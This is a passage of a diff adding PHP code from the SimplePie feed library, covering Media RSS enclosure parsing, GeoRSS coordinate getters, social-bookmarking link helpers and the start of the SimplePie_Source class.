+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+							{
+								$rating_scheme = null;
+								$rating_value = null;
+								if (isset($rating['attribs']['']['scheme']))
+								{
+									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$rating_scheme = 'urn:simple';
+								}
+								if (isset($rating['data']))
+								{
+									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+							}
+							if (is_array($ratings))
+							{
+								$ratings = array_values(SimplePie_Misc::array_unique($ratings));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+							{
+								$rating_scheme = null;
+								$rating_value = null;
+								if (isset($rating['attribs']['']['scheme']))
+								{
+									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$rating_scheme = 'urn:simple';
+								}
+								if (isset($rating['data']))
+								{
+									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+							}
+							if (is_array($ratings))
+							{
+								$ratings = array_values(SimplePie_Misc::array_unique($ratings));
+							}
+						}
+						else
+						{
+							$ratings = $ratings_parent;
+						}
+
+						// RESTRICTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+							{
+								$restriction_relationship = null;
+								$restriction_type = null;
+								$restriction_value = null;
+								if (isset($restriction['attribs']['']['relationship']))
+								{
+									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['attribs']['']['type']))
+								{
+									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['data']))
+								{
+									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+							}
+							if (is_array($restrictions))
+							{
+								$restrictions = array_values(SimplePie_Misc::array_unique($restrictions));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+							{
+								$restriction_relationship = null;
+								$restriction_type = null;
+								$restriction_value = null;
+								if (isset($restriction['attribs']['']['relationship']))
+								{
+									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['attribs']['']['type']))
+								{
+									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['data']))
+								{
+									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+							}
+							if (is_array($restrictions))
+							{
+								$restrictions = array_values(SimplePie_Misc::array_unique($restrictions));
+							}
+						}
+						else
+						{
+							$restrictions = $restrictions_parent;
+						}
+
+						// THUMBNAILS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+							{
+								$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							if (is_array($thumbnails))
+							{
+								$thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+							{
+								$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							if (is_array($thumbnails))
+							{
+								$thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails));
+							}
+						}
+						else
+						{
+							$thumbnails = $thumbnails_parent;
+						}
+
+						// TITLES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+						{
+							$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+						{
+							$title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$title = $title_parent;
+						}
+
+						$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width);
+					}
+				}
+			}
+
+			// If we have standalone media:content tags, loop through them.
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
+			{
+				foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
+				{
+					if (isset($content['attribs']['']['url']))
+					{
+						// Attributes
+						$bitrate = null;
+						$channels = null;
+						$duration = null;
+						$expression = null;
+						$framerate = null;
+						$height = null;
+						$javascript = null;
+						$lang = null;
+						$length = null;
+						$medium = null;
+						$samplingrate = null;
+						$type = null;
+						$url = null;
+						$width = null;
+
+						// Elements
+						$captions = null;
+						$categories = null;
+						$copyrights = null;
+						$credits = null;
+						$description = null;
+						$hashes = null;
+						$keywords = null;
+						$player = null;
+						$ratings = null;
+						$restrictions = null;
+						$thumbnails = null;
+						$title = null;
+
+						// Start checking the attributes of media:content
+						if (isset($content['attribs']['']['bitrate']))
+						{
+							$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['channels']))
+						{
+							$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['duration']))
+						{
+							$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$duration = $duration_parent;
+						}
+						if (isset($content['attribs']['']['expression']))
+						{
+							$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['framerate']))
+						{
+							$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['height']))
+						{
+							$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['lang']))
+						{
+							$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['fileSize']))
+						{
+							$length = ceil($content['attribs']['']['fileSize']);
+						}
+						if (isset($content['attribs']['']['medium']))
+						{
+							$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['samplingrate']))
+						{
+							$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['type']))
+						{
+							$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['width']))
+						{
+							$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+
+						// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
+
+						// CAPTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+							{
+								$caption_type = null;
+								$caption_lang = null;
+								$caption_startTime = null;
+								$caption_endTime = null;
+								$caption_text = null;
+								if (isset($caption['attribs']['']['type']))
+								{
+									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['lang']))
+								{
+									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['start']))
+								{
+									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['end']))
+								{
+									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['data']))
+								{
+									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+							}
+							if (is_array($captions))
+							{
+								$captions = array_values(SimplePie_Misc::array_unique($captions));
+							}
+						}
+						else
+						{
+							$captions = $captions_parent;
+						}
+
+						// CATEGORIES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+						{
+							foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+							{
+								$term = null;
+								$scheme = null;
+								$label = null;
+								if (isset($category['data']))
+								{
+									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($category['attribs']['']['scheme']))
+								{
+									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$scheme = 'http://search.yahoo.com/mrss/category_schema';
+								}
+								if (isset($category['attribs']['']['label']))
+								{
+									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$categories[] =& new $this->feed->category_class($term, $scheme, $label);
+							}
+						}
+						if (is_array($categories) && is_array($categories_parent))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique(array_merge($categories, $categories_parent)));
+						}
+						elseif (is_array($categories))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique($categories));
+						}
+						elseif (is_array($categories_parent))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique($categories_parent));
+						}
+						else
+						{
+							$categories = null;
+						}
+
+						// COPYRIGHTS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+						{
+							$copyright_url = null;
+							$copyright_label = null;
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+							{
+								$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+							{
+								$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+						}
+						else
+						{
+							$copyrights = $copyrights_parent;
+						}
+
+						// CREDITS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+							{
+								$credit_role = null;
+								$credit_scheme = null;
+								$credit_name = null;
+								if (isset($credit['attribs']['']['role']))
+								{
+									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($credit['attribs']['']['scheme']))
+								{
+									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$credit_scheme = 'urn:ebu';
+								}
+								if (isset($credit['data']))
+								{
+									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+							}
+							if (is_array($credits))
+							{
+								$credits = array_values(SimplePie_Misc::array_unique($credits));
+							}
+						}
+						else
+						{
+							$credits = $credits_parent;
+						}
+
+						// DESCRIPTION
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+						{
+							$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$description = $description_parent;
+						}
+
+						// HASHES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+							{
+								$value = null;
+								$algo = null;
+								if (isset($hash['data']))
+								{
+									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($hash['attribs']['']['algo']))
+								{
+									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$algo = 'md5';
+								}
+								$hashes[] = $algo.':'.$value;
+							}
+							if (is_array($hashes))
+							{
+								$hashes = array_values(SimplePie_Misc::array_unique($hashes));
+							}
+						}
+						else
+						{
+							$hashes = $hashes_parent;
+						}
+
+						// KEYWORDS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+						{
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+							{
+								$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+								foreach ($temp as $word)
+								{
+									$keywords[] = trim($word);
+								}
+								unset($temp);
+							}
+							if (is_array($keywords))
+							{
+								$keywords = array_values(SimplePie_Misc::array_unique($keywords));
+							}
+						}
+						else
+						{
+							$keywords = $keywords_parent;
+						}
+
+						// PLAYER
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+						{
+							$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						else
+						{
+							$player = $player_parent;
+						}
+
+						// RATINGS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+							{
+								$rating_scheme = null;
+								$rating_value = null;
+								if (isset($rating['attribs']['']['scheme']))
+								{
+									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$rating_scheme = 'urn:simple';
+								}
+								if (isset($rating['data']))
+								{
+									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+							}
+							if (is_array($ratings))
+							{
+								$ratings = array_values(SimplePie_Misc::array_unique($ratings));
+							}
+						}
+						else
+						{
+							$ratings = $ratings_parent;
+						}
+
+						// RESTRICTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+							{
+								$restriction_relationship = null;
+								$restriction_type = null;
+								$restriction_value = null;
+								if (isset($restriction['attribs']['']['relationship']))
+								{
+									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['attribs']['']['type']))
+								{
+									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['data']))
+								{
+									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+							}
+							if (is_array($restrictions))
+							{
+								$restrictions = array_values(SimplePie_Misc::array_unique($restrictions));
+							}
+						}
+						else
+						{
+							$restrictions = $restrictions_parent;
+						}
+
+						// THUMBNAILS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+							{
+								$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							if (is_array($thumbnails))
+							{
+								$thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails));
+							}
+						}
+						else
+						{
+							$thumbnails = $thumbnails_parent;
+						}
+
+						// TITLES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+						{
+							$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$title = $title_parent;
+						}
+
+						$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width);
+					}
+				}
+			}
+
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] == 'enclosure')
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					if (isset($link['attribs']['']['type']))
+					{
+						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($link['attribs']['']['length']))
+					{
+						$length = ceil($link['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width);
+				}
+			}
+
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] == 'enclosure')
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					if (isset($link['attribs']['']['type']))
+					{
+						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($link['attribs']['']['length']))
+					{
+						$length = ceil($link['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width);
+				}
+			}
+
+			if ($enclosure = $this->get_item_tags('', 'enclosure'))
+			{
+				if (isset($enclosure[0]['attribs']['']['url']))
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0]));
+					if (isset($enclosure[0]['attribs']['']['type']))
+					{
+						$type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($enclosure[0]['attribs']['']['length']))
+					{
+						$length = ceil($enclosure[0]['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width);
+				}
+			}
+
+			if (sizeof($this->data['enclosures']) == 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width))
+			{
+				// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+				$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width);
+			}
+
+			$this->data['enclosures'] = array_values(SimplePie_Misc::array_unique($this->data['enclosures']));
+		}
+		if (!empty($this->data['enclosures']))
+		{
+			return $this->data['enclosures'];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_latitude()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_longitude()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_source()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source'))
+		{
+			return new $this->feed->source_class($this, $return[0]);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Creates the add_to_* methods' return data
+	 *
+	 * @access private
+	 * @param string $item_url String to prefix to the item permalink
+	 * @param string $title_url String to prefix to the item title
+	 * (and suffix to the item permalink)
+	 * @return mixed URL if feed exists, false otherwise
+	 */
+	function add_to_service($item_url, $title_url = null, $summary_url = null)
+	{
+		if ($this->get_permalink() !== null)
+		{
+			$return = $this->sanitize($item_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->get_permalink());
+			if ($title_url !== null && $this->get_title() !== null)
+			{
+				$return .= $this->sanitize($title_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->get_title());
+			}
+			if ($summary_url !== null && $this->get_description() !== null)
+			{
+				$return .= $this->sanitize($summary_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->get_description());
+			}
+			return $return;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function add_to_blinklist()
+	{
+		return $this->add_to_service('http://www.blinklist.com/index.php?Action=Blink/addblink.php&Description=&Url=', '&Title=');
+	}
+
+	function add_to_blogmarks()
+	{
+		return $this->add_to_service('http://blogmarks.net/my/new.php?mini=1&simple=1&url=', '&title=');
+	}
+
+	function add_to_delicious()
+	{
+		return $this->add_to_service('http://del.icio.us/post/?v=4&url=', '&title=');
+	}
+
+	function add_to_digg()
+	{
+		return $this->add_to_service('http://digg.com/submit?url=', '&title=', '&bodytext=');
+	}
+
+	function add_to_furl()
+	{
+		return $this->add_to_service('http://www.furl.net/storeIt.jsp?u=', '&t=');
+	}
+
+	function add_to_magnolia()
+	{
+		return $this->add_to_service('http://ma.gnolia.com/bookmarklet/add?url=', '&title=');
+	}
+
+	function add_to_myweb20()
+	{
+		return $this->add_to_service('http://myweb2.search.yahoo.com/myresults/bookmarklet?u=', '&t=');
+	}
+
+	function add_to_newsvine()
+	{
+		return $this->add_to_service('http://www.newsvine.com/_wine/save?u=', '&h=');
+	}
+
+	function add_to_reddit()
+	{
+		return $this->add_to_service('http://reddit.com/submit?url=', '&title=');
+	}
+
+	function add_to_segnalo()
+	{
+		return $this->add_to_service('http://segnalo.com/post.html.php?url=', '&title=');
+	}
+
+	function add_to_simpy()
+	{
+		return $this->add_to_service('http://www.simpy.com/simpy/LinkAdd.do?href=', '&title=');
+	}
+
+	function add_to_spurl()
+	{
+		return $this->add_to_service('http://www.spurl.net/spurl.php?v=3&url=', '&title=');
+	}
+
+	function add_to_wists()
+	{
+		return $this->add_to_service('http://wists.com/r.php?c=&r=', '&title=');
+	}
+
+	function search_technorati()
+	{
+		return $this->add_to_service('http://www.technorati.com/search/');
+	}
+}
+
+class SimplePie_Source
+{
+	var $item;
+	var $data = array();
+
+	function SimplePie_Source($item, $data)
+	{
+		$this->item = $item;
+		$this->data = $data;
+	}
+
+	function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	function get_source_tags($namespace, $tag)
+	{
+		if (isset($this->data['child'][$namespace][$tag]))
+		{
+			return $this->data['child'][$namespace][$tag];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_base($element = array())
+	{
+		return $this->item->get_base($element);
+	}
+
+	function sanitize($data, $type, $base = '')
+	{
+		return $this->item->sanitize($data, $type, $base);
+	}
+
+	function get_item()
+	{
+		return $this->item;
+	}
+
+	function get_title()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags('', 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
